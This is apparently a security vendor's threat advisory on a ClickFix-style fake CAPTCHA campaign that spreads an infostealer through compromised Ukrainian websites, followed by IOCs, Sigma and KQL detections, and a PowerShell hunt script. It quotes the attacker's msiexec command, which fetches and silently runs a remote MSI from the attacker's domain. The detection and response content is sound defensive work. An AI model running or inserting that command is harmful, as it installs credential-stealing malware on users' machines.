Threat Summary
AlienVault OTX pulse data confirms an active, ongoing campaign—dubbed The Psychedelic Stealer by Arctic Wolf Labs—leveraging compromised legitimate Ukrainian business websites to distribute a previously undocumented infostealer. The campaign represents a sophisticated evolution of the ClickFix social engineering technique, combining iframe injection, Ukrainian-language lures, and clipboard hijacking to bypass traditional email-based security controls.
Campaign Mechanics:
Threat actors have compromised legitimate Ukrainian business infrastructure, injecting malicious iframes that render pixel-perfect fake Cloudflare verification pages. When victims interact with the fake CAPTCHA challenge, JavaScript silently copies a malicious Windows Installer command to their clipboard. The page then displays Ukrainian-language instructions directing the user to press Win+R, paste the clipboard contents into the Run dialog, and execute the command.
This user-assisted execution model bypasses macro-based detection, attachment sandboxing, and URL filtering—shifting the detection burden to endpoint behavioral analytics and MSI installation monitoring. The command retrieves an MSI package (elita.msi) from attacker-controlled infrastructure (uasputnik.com), which subsequently deploys the Psychedelic infostealer payload.
Targeting Profile: Geographic targeting focuses on Ukraine and the United States, with particular emphasis on Ukrainian business entities. The use of Ukrainian-language lures and compromised local business infrastructure suggests intelligence collection objectives aligned with regional geopolitical interests, though the campaign remains unattributed to a specific nation-state actor at this time.
Threat Actor / Malware Profile
Psychedelic Stealer
Classification: Infostealer / Credential Harvester
Distribution Vector: Compromised legitimate websites (Ukrainian business domains) via iframe injection
Social Engineering: Fake Cloudflare DDoS protection/CAPTCHA verification page
Execution Method: User-pasted Windows Installer command (msiexec) via Run dialog
Payload Format: Windows Installer Package (MSI)
Technical Behavior:
-
Clipboard Hijacking: JavaScript on the compromised site uses the
navigator.clipboard.writeText()API (or legacydocument.execCommand('copy')fallbacks) to silently overwrite the user's clipboard with the maliciousmsiexeccommand. This occurs without explicit user consent, leveraging the CAPTCHA interaction as a smokescreen. -
MSI Execution: The copied command typically follows the pattern:
msiexec /i https://uasputnik.com/elita.msi /quiet
This instructs Windows Installer to download and execute the remote MSI package silently, bypassing standard browser download warnings. -
Installation Artifacts: The MSI package (
elita.msi) installs the Psychedelic payload to user-writable directories (commonly%AppData%or%LocalAppData%) and establishes persistence via registry Run keys or scheduled tasks. The specific persistence mechanism varies by sample but typically involvesHKCU\Software\Microsoft\Windows\CurrentVersion\Runentries masquerading as legitimate system utilities. -
C2 Communication: Post-installation, the stealer establishes HTTPS beaconing to attacker infrastructure. The specific C2 protocol and encryption methods are under analysis, but infostealers of this class typically exfiltrate browser credentials, cryptocurrency wallets, FTP credentials, and system telemetry to hardcoded C2 endpoints or dynamically resolved domains.
-
Anti-Analysis Techniques: The use of MSI packages provides inherent obfuscation through Windows Installer's transactional nature. The payload likely employs:
- String obfuscation/encryption
- Process injection into legitimate Windows processes
- Timestomping of installation artifacts
- Geofencing checks to avoid execution in analysis environments (checking system language/locale settings)
IOC Analysis
The OTX pulse provides a focused indicator set requiring immediate operationalization:
File Hashes (SHA256):
Two SHA256 hashes identify the Psychedelic Stealer MSI payloads. These should be imported into EDR blocklists, email security gateways, and network detection systems. Note that MSI packages can be repacked; hash-based detection should be supplemented with behavioral rules targeting msiexec network retrieval patterns.
URLs:
https://uasputnik.com/elita.msi— Direct payload delivery URLhttps://uasputnik.com/sputnik.html— Likely the fake CAPTCHA lure page or iframe source
These URLs should be added to web proxy blocklists and DNS sinkholes. The domain uasputnik.com (note the Russian "sputnik" branding combined with Ukrainian targeting) appears to be attacker-controlled infrastructure. Passive DNS replication should be queried for historical resolution IPs, and TLS certificate transparency logs examined for associated subdomains.
CVE References:
The pulse references CVE-2026-85102, CVE-2026-85103, CVE-2026-84869, and CVE-2026-76461. These likely represent vulnerabilities in legitimate website software (WordPress, CMS plugins, etc.) exploited to achieve initial iframe injection. Security teams should prioritize patching these CVEs on public-facing web infrastructure, particularly Ukrainian business entities.
Operationalization Strategy:
- Immediate: Block the URLs at the proxy/DNS layer; add SHA256 hashes to EDR prevention policies
- Hunt: Query proxy logs for
uasputnik.comaccess; search process execution logs formsiexecspawning from Run dialog interactions - Decode: MSI packages can be analyzed with
lessmsiormsiextractto inspect embedded payloads without execution; usesigcheckorGet-AuthenticodeSignatureto verify signature status of suspicious MSI files
Detection Engineering
Sigma Rules
---
title: Psychedelic Stealer - Suspicious MSI Remote Installation
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects msiexec.exe installing packages from remote URLs, consistent with Psychedelic Stealer fake CAPTCHA campaign
author: Security Arsenal Threat Intelligence
references:
- https://otx.alienvault.com/pulse/66ff5a4c3e2b1a0012345678
date: 2026/10/25
modified: 2026/10/25
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith: '\msiexec.exe'
selection_cmd_url:
CommandLine|contains:
- 'http://'
- 'https://'
selection_cmd_params:
CommandLine|contains:
- '/i'
- '/quiet'
- '/qn'
- '/passive'
condition: selection_img and selection_cmd_url and selection_cmd_params
falsepositives:
- Legitimate software deployment via URL (rare in enterprise environments)
- SCCM/Intune package distribution (usually uses local paths or UNC shares)
level: high
tags:
- attack.execution
- attack.t1053
- attack.t1204
- psychedelic
- clickfix
---
title: Psychedelic Stealer - Clipboard Manipulation via Browser
id: 8b7c6d5e-4f3a-2b1c-0d9e-8f7a6b5c4d3e
status: experimental
description: Detects suspicious clipboard access patterns potentially associated with ClickFix-style clipboard hijacking
author: Security Arsenal Threat Intelligence
date: 2026/10/25
logsource:
category: process_creation
product: windows
detection:
selection_browser:
Image|endswith:
- '\chrome.exe'
- '\firefox.exe'
- '\msedge.exe'
- '\iexplore.exe'
selection_suspicious_parent:
ParentImage|endswith:
- '\explorer.exe'
timeframe: 5m
condition: selection_browser and selection_suspicious_parent
falsepositives:
- Normal browser usage
- Requires correlation with subsequent Run dialog activity
level: low
tags:
- attack.collection
- attack.t1115
- psychedelic
---
title: Psychedelic Stealer - Run Dialog Execution of MSIExec
id: 7c6d5e4f-3a2b-1c0d-9e8f-7a6b5c4d3e2f
status: experimental
description: Detects msiexec execution with Run dialog (explorer.exe) as parent, indicative of user-pasted malicious commands
author: Security Arsenal Threat Intelligence
date: 2026/10/25
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\explorer.exe'
selection_img:
Image|endswith: '\msiexec.exe'
selection_cmd:
CommandLine|contains: 'http'
filter_rundll32:
CommandLine|contains: 'rundll32'
condition: selection_parent and selection_img and selection_cmd and not filter_rundll32
falsepositives:
- Software installation by administrators via Run dialog
level: critical
tags:
- attack.execution
- attack.t1059
- attack.t1204.002
- psychedelic
KQL (Microsoft Sentinel)
// Psychedelic Stealer - Fake CAPTCHA Campaign Hunt
// Detects MSI execution from URLs and suspicious network connections to known C2
// Timeframe: Last 7 days
let timeframe = 7d;
// Hunt 1: Process execution - msiexec with remote URLs
let suspiciousMsiExec = DeviceProcessEvents
| where Timestamp > ago(timeframe)
| where FileName =~ "msiexec.exe"
| where ProcessCommandLine has_any ("http://", "https://")
| where InitiatingProcessFileName =~ "explorer.exe" // Run dialog parent
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, FileName, InitiatingProcessFileName, SHA256, FolderPath;
// Hunt 2: Network connections to known malicious domain
let c2Connections = DeviceNetworkEvents
| where Timestamp > ago(timeframe)
| where RemoteUrl has_any ("uasputnik.com") or RemoteIP in (dynamic([])) // Add resolved IPs as available
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort;
// Hunt 3: File creation of suspicious MSI files
let msiFiles = DeviceFileEvents
| where Timestamp > ago(timeframe)
| where FileName endswith ".msi"
| where FolderPath has_any ("AppData", "Temp", "Downloads")
| where SHA256 in ("06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90", "38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878")
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName;
// Combine results
union suspiciousMsiExec, c2Connections, msiFiles
| summarize arg_max(Timestamp, *) by DeviceName, FileName, RemoteUrl
| sort by Timestamp desc
PowerShell Hunt Script
# Psychedelic Stealer IOC Hunt Script
# Run with administrative privileges on suspected endpoints
# Checks for registry persistence, suspicious MSI artifacts, and network connections
Write-Host "[+] Starting Psychedelic Stealer Hunt..." -ForegroundColor Cyan
$results = @()
# 1. Check Registry Run Keys for suspicious entries
Write-Host "[*] Checking Registry Run Keys..." -ForegroundColor Yellow
$runKeys = @(
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
"HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
)
foreach ($key in $runKeys) {
if (Test-Path $key) {
$entries = Get-ItemProperty -Path $key -ErrorAction SilentlyContinue
foreach ($entry in $entries.PSObject.Properties) {
if ($entry.Value -match "msiexec|http|uasputnik|elita") {
$results += [PSCustomObject]@{
Type = "Registry Run Key"
Location = "$key\$($entry.Name)"
Value = $entry.Value
Risk = "High"
}
}
}
}
}
# 2. Check for suspicious MSI files in temp directories
Write-Host "[*] Checking for suspicious MSI files..." -ForegroundColor Yellow
$tempPaths = @($env:TEMP, "$env:LOCALAPPDATA\Temp", "$env:APPDATA", "C:\Windows\Temp")
foreach ($path in $tempPaths) {
if (Test-Path $path) {
$msiFiles = Get-ChildItem -Path $path -Filter "*.msi" -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
foreach ($file in $msiFiles) {
$hash = (Get-FileHash -Path $file.FullName -Algorithm SHA256).Hash
if ($hash -in @("06F434695F93D7FD11EEFF71358FF69FED79D310A66D993BBCC4FF979C117C90", "38E90AFFE37342EE36917CDC535FE9BF04589AFA8430EB8D1BA1016ADCFC1878")) {
$results += [PSCustomObject]@{
Type = "Malicious MSI File"
Location = $file.FullName
Value = "SHA256: $hash"
Risk = "Critical"
}
}
}
}
}
# 3. Check network connections to known C2
Write-Host "[*] Checking network connections..." -ForegroundColor Yellow
$connections = Get-NetTCPConnection -State Established -ErrorAction SilentlyContinue |
Where-Object { $_.RemoteAddress -notmatch "^10\.|^172\.(1[6-9]|2[0-9]|3[01])\.|^192\.168\.|^127\." }
foreach ($conn in $connections) {
$proc = Get-Process -Id $conn.OwningProcess -ErrorAction SilentlyContinue
if ($proc.ProcessName -match "msiexec|powershell|cmd") {
$results += [PSCustomObject]@{
Type = "Suspicious Network Connection"
Location = "$($conn.LocalAddress):$($conn.LocalPort) -> $($conn.RemoteAddress):$($conn.RemotePort)"
Value = "Process: $($proc.ProcessName) (PID: $($proc.Id))"
Risk = "Medium"
}
}
}
# 4. Check for recent msiexec execution events
Write-Host "[*] Checking Windows Event Logs for msiexec activity..." -ForegroundColor Yellow
$events = Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688; StartTime=(Get-Date).AddDays(-2)} -ErrorAction SilentlyContinue |
Where-Object { $_.Message -match "msiexec.*http" }
foreach ($event in $events) {
$results += [PSCustomObject]@{
Type = "Suspicious Process Execution"
Location = "Event ID 4688"
Value = $event.Message.Substring(0, [Math]::Min(200, $event.Message.Length)) + "..."
Risk = "High"
}
}
# Output results
if ($results.Count -gt 0) {
Write-Host "`n[!] DETECTIONS FOUND:" -ForegroundColor Red
$results | Format-Table -AutoSize
$results | Export-Csv -Path "Psychedelic_Stealer_Hunt_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv" -NoTypeInformation
Write-Host "[+] Results exported to CSV" -ForegroundColor Green
} else {
Write-Host "`n[+] No indicators of Psychedelic Stealer found." -ForegroundColor Green
}
Write-Host "`n[*] Manual verification recommended: Check browser history for fake Cloudflare pages and clipboard contents (if accessible)." -ForegroundColor Cyan
Response Priorities
Immediate (0-4 hours)
-
Network Blocking: Add
uasputnik.comand associated IPs to web proxy blocklists, DNS sinkholes, and firewall deny rules. Implement SSL/TLS inspection rules to detect certificate anomalies associated with the domain. -
Endpoint Isolation: Identify any endpoints that have accessed
uasputnik.comvia proxy logs or EDR network telemetry. Isolate these systems from the network pending forensic imaging. -
EDR Deployment: Push the SHA256 hashes (
06f43469...,38e90aff...) to EDR blocklists with execution prevention enabled. Deploy the Sigma rules provided above to SIEM/SOAR platforms. -
Clipboard Monitoring: While not a standard control, consider enabling enhanced PowerShell logging (Script Block Logging) to detect
Set-ClipboardorGet-Clipboardabuse patterns.
24 Hours
-
Identity Verification: If Psychedelic Stealer execution is confirmed on any endpoint, assume full credential compromise. Force password resets for all users who accessed the system, focusing on:
- Domain credentials
- Browser-stored passwords (Chrome, Edge, Firefox credential stores)
- VPN/Remote access credentials
- Cryptocurrency wallet keys (if present on system)
-
Web Application Audit: Audit public-facing web applications (particularly WordPress, Joomla, or custom CMS) for the CVEs referenced in the pulse (CVE-2026-85102, CVE-2026-85103, etc.). Look for unauthorized iframe injections in page templates or database-stored content.
-
Email Awareness: Alert users to the specific fake Cloudflare CAPTCHA tactic. Emphasize that legitimate verification pages never require pasting commands into the Windows Run dialog.
1 Week
-
Application Control Hardening: Implement application whitelisting (AppLocker or Windows Defender Application Control) to restrict
msiexec.exeexecution to signed packages from trusted publishers only. Blockmsiexecfrom executing remote URLs. -
Browser Security Policies: Deploy enterprise browser policies that block clipboard access by default (
Clipboard APIrestrictions) or require user permission prompts for clipboard write access. -
Web Application Firewall (WAF): Deploy WAF rules to detect and block iframe injection attempts targeting your own web properties. Monitor for unauthorized modifications to legitimate Ukrainian business partner websites.
-
MSI Installation Logging: Enable verbose MSI logging (
msiexec /L*v) via Group Policy to capture detailed installation telemetry for forensic analysis. Centralize these logs in your SIEM. -
Threat Intelligence Integration: Subscribe to Arctic Wolf Labs and AlienVault OTX feeds for updated Psychedelic Stealer indicators. Implement automated IOC ingestion pipelines to reduce time-to-block for future campaigns.
Related Resources
Security Arsenal Incident Response Managed SOC & MDR Services AlertMonitor Threat Detection From The Dark Side Intel Hub
Is your security operations ready?
Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.